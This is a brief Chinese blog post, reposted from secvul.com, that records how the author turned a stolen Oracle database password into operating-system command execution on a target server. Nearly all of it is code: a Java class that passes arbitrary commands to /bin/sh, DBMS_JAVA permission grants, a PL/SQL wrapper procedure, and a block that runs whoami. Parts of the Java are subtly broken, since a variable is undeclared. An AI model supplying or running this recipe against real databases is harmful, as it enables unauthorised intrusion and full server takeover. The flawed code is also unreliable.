|
原文地址:https://secvul.com/topics/793.html
某日获取到目标1521密码,接下来就直接RCE,记录下过程。
1、navicat 连上后,建立一个 java.
- import java.io.*;
- public class Host {
- public static void executeCommand(String command) {
- try {
- finalCommand = new String[3];
- finalCommand[0] = "/bin/sh";
- finalCommand[1] = "-c";
- finalCommand[2] = command;
- Process pr = Runtime.getRuntime().exec(finalCommand);
- pr.waitFor();
- new Thread(new Runnable(){
- public void run() {
- BufferedReader br_in = null;
- try {
- br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- String buff = null;
- while ((buff = br_in.readLine()) != null) {
- System.out.println("Process out :" + buff);
- try {Thread.sleep(100); } catch(Exception e) {}
- }
- br_in.close();
- }
- catch (IOException ioe) {
- System.out.println("Exception caught printing process output.");
- ioe.printStackTrace();
- }
- finally {
- try {
- br_in.close();
- } catch (Exception ex) {}
- }
- }
- }).start();
-
- new Thread(new Runnable(){
- public void run() {
- BufferedReader br_err = null;
- try {
- br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
- String buff = null;
- while ((buff = br_err.readLine()) != null) {
- System.out.println("Process err :" + buff);
- try {Thread.sleep(100); } catch(Exception e) {}
- }
- br_err.close();
- }
- catch (IOException ioe) {
- System.out.println("Exception caught printing process error.");
- ioe.printStackTrace();
- }
- finally {
- try {
- br_err.close();
- } catch (Exception ex) {}
- }
- }
- }).start();
- }
- catch (Exception ex) {
- System.out.println(ex.getLocalizedMessage());
- }
- }
-
- public static boolean isWindows() {
- if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
- return true;
- else
- return false;
- }
- };
复制代码 2、新建查询,给数据库用户授权
- declare
- begin
- DBMS_JAVA.grant_permission('数据库用户','java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute,delete');
- Dbms_Java.Grant_Permission('数据库用户','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
- Dbms_Java.Grant_Permission('数据库用户','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
- end;
复制代码 3、建立映射过程
- CREATE OR REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
-
- AS LANGUAGE JAVA
-
- NAME'类名.executeCommand (java.lang.String)';
复制代码 4、执行命令
- DECLARE
-
- l_output DBMS_OUTPUT.chararr;
-
- l_lines INTEGER := 1000;
-
- BEGIN
-
- DBMS_OUTPUT.enable(1000000);
-
- DBMS_JAVA.set_output(1000000);
-
- host_command('/usr/bin/whoami'); --执行显示目录的命令
-
- DBMS_OUTPUT.get_lines(l_output, l_lines);
-
- FOR i IN 1 .. l_lines LOOP
-
- DBMS_OUTPUT.put_line(l_output(i));
-
- NULL;
-
- END LOOP;
-
- END;
复制代码
|
|